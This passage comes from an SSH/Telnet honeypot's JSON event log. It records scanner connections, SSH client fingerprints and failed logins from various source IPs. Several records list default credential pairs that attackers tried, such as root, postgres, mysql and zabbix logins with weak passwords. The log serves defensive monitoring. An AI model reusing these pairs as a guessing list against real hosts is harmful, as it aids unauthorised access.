enssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:03.665046Z","src_ip":"176.65.132.254","session":"85dcfd95512c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123456","message":"login attempt [git/git123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:04.041819Z","src_ip":"176.65.132.254","session":"85dcfd95512c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:04.235433Z","src_ip":"152.32.189.59","session":"060df29203c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:05.141838Z","src_ip":"176.65.132.254","session":"85dcfd95512c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.48912453651428,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:05.237011Z","src_ip":"62.210.97.77","session":"fa0086c6e0a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58869457244873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:05.435830Z","src_ip":"62.210.97.77","session":"78945eb3e191","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41346,"dst_ip":"10.17.0.5","dst_port":23,"session":"f440ff636512","protocol":"telnet","message":"New connection: 62.210.97.77:41346 (10.17.0.5:23) [session: f440ff636512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:06.002913Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":46762,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d21baabe956","protocol":"telnet","message":"New connection: 65.60.27.33:46762 (10.17.0.5:23) [session: 2d21baabe956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:06.877378Z"}
{"eventid":"cowrie.session.closed","duration":31.6183021068573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:07.472202Z","src_ip":"62.210.97.77","session":"36e952d2f0df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55780,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3bf39cf34e0","protocol":"ssh","message":"New connection: 176.65.132.254:55780 (10.17.0.5:22) [session: a3bf39cf34e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:07.747510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:07.752561Z","src_ip":"176.65.132.254","session":"a3bf39cf34e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:07.836391Z","src_ip":"176.65.132.254","session":"a3bf39cf34e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.01135015487671,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:07.948018Z","src_ip":"134.209.8.29","session":"fabfb297c154","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123","message":"login attempt [esuser/esuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:08.087931Z","src_ip":"176.65.132.254","session":"a3bf39cf34e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.29851531982422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:08.434336Z","src_ip":"62.210.97.77","session":"5ccf7bc81913","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.11597013473511,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:08.506382Z","src_ip":"62.210.97.77","session":"c6fbc8d75eff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.82933211326599,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:08.585209Z","src_ip":"62.210.97.77","session":"3d1b2c802af0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.50675415992737,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:09.121189Z","src_ip":"62.210.97.77","session":"dee84cd8c125","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:09.252349Z","src_ip":"176.65.132.254","session":"a3bf39cf34e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38064,"dst_ip":"10.17.0.5","dst_port":23,"session":"e98c1fde574b","protocol":"telnet","message":"New connection: 62.210.97.77:38064 (10.17.0.5:23) [session: e98c1fde574b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:09.877335Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":46538,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1e2f171d221","protocol":"telnet","message":"New connection: 165.232.131.181:46538 (10.17.0.5:23) [session: f1e2f171d221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:10.156567Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55798,"dst_ip":"10.17.0.5","dst_port":22,"session":"b38d6f80703a","protocol":"ssh","message":"New connection: 176.65.132.254:55798 (10.17.0.5:22) [session: b38d6f80703a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:11.657557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:11.662180Z","src_ip":"176.65.132.254","session":"b38d6f80703a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":17422,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd285c6acb70","protocol":"ssh","message":"New connection: 190.129.122.12:17422 (10.17.0.5:22) [session: bd285c6acb70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:11.704292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:11.712078Z","src_ip":"190.129.122.12","session":"bd285c6acb70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:11.753280Z","src_ip":"176.65.132.254","session":"b38d6f80703a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.61159086227417,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:11.869436Z","src_ip":"62.210.97.77","session":"a2b52bf18b62","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:11.879715Z","src_ip":"190.129.122.12","session":"bd285c6acb70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:12.336004Z","src_ip":"176.65.132.254","session":"b38d6f80703a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38066,"dst_ip":"10.17.0.5","dst_port":23,"session":"24de1adf152e","protocol":"telnet","message":"New connection: 62.210.97.77:38066 (10.17.0.5:23) [session: 24de1adf152e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:12.343303Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1234qwer","message":"login attempt [postgres/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:12.589136Z","src_ip":"190.129.122.12","session":"bd285c6acb70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38076,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cafab04fd70","protocol":"telnet","message":"New connection: 62.210.97.77:38076 (10.17.0.5:23) [session: 6cafab04fd70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:12.748217Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38090,"dst_ip":"10.17.0.5","dst_port":23,"session":"97ad5fef91af","protocol":"telnet","message":"New connection: 62.210.97.77:38090 (10.17.0.5:23) [session: 97ad5fef91af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:12.861956Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:13.439340Z","src_ip":"176.65.132.254","session":"b38d6f80703a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:13.760252Z","src_ip":"190.129.122.12","session":"bd285c6acb70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55538,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0ed0596ca69","protocol":"telnet","message":"New connection: 65.60.27.33:55538 (10.17.0.5:23) [session: a0ed0596ca69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:15.152616Z"}
{"eventid":"cowrie.session.closed","duration":33.155489444732666,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:15.684239Z","src_ip":"62.210.97.77","session":"ff6c275cfdd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.6001238822937,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:15.827230Z","src_ip":"62.210.97.77","session":"404d127979b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59722,"dst_ip":"10.17.0.5","dst_port":22,"session":"577d57468410","protocol":"ssh","message":"New connection: 176.65.132.254:59722 (10.17.0.5:22) [session: 577d57468410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:15.967681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:15.973599Z","src_ip":"176.65.132.254","session":"577d57468410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:16.056184Z","src_ip":"176.65.132.254","session":"577d57468410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:16.349467Z","src_ip":"176.65.132.254","session":"577d57468410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.732818841934204,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:16.809026Z","src_ip":"62.210.97.77","session":"14a851bf6592","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57370,"dst_ip":"10.17.0.5","dst_port":23,"session":"91b21ee83f2c","protocol":"telnet","message":"New connection: 65.60.27.33:57370 (10.17.0.5:23) [session: 91b21ee83f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:16.997990Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:17.462894Z","src_ip":"176.65.132.254","session":"577d57468410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59392,"dst_ip":"10.17.0.5","dst_port":23,"session":"39fbd0cd8451","protocol":"telnet","message":"New connection: 65.60.27.33:59392 (10.17.0.5:23) [session: 39fbd0cd8451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:18.799736Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59732,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1821c8a15c8","protocol":"ssh","message":"New connection: 176.65.132.254:59732 (10.17.0.5:22) [session: e1821c8a15c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:20.138089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:20.143258Z","src_ip":"176.65.132.254","session":"e1821c8a15c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:20.225739Z","src_ip":"176.65.132.254","session":"e1821c8a15c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60950,"dst_ip":"10.17.0.5","dst_port":23,"session":"45d7057d8cce","protocol":"telnet","message":"New connection: 38.54.119.93:60950 (10.17.0.5:23) [session: 45d7057d8cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:20.312407Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:20.482245Z","src_ip":"176.65.132.254","session":"e1821c8a15c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.3388614654541,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:20.578136Z","src_ip":"62.210.97.77","session":"10e92e97a32c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":65374,"dst_ip":"10.17.0.5","dst_port":22,"session":"46bd5e335b71","protocol":"ssh","message":"New connection: 87.251.64.176:65374 (10.17.0.5:22) [session: 46bd5e335b71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:20.660964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:20.665789Z","src_ip":"87.251.64.176","session":"46bd5e335b71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.576109886169434,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:20.728554Z","src_ip":"65.60.27.33","session":"a0ed0596ca69","protocol":"telnet"}
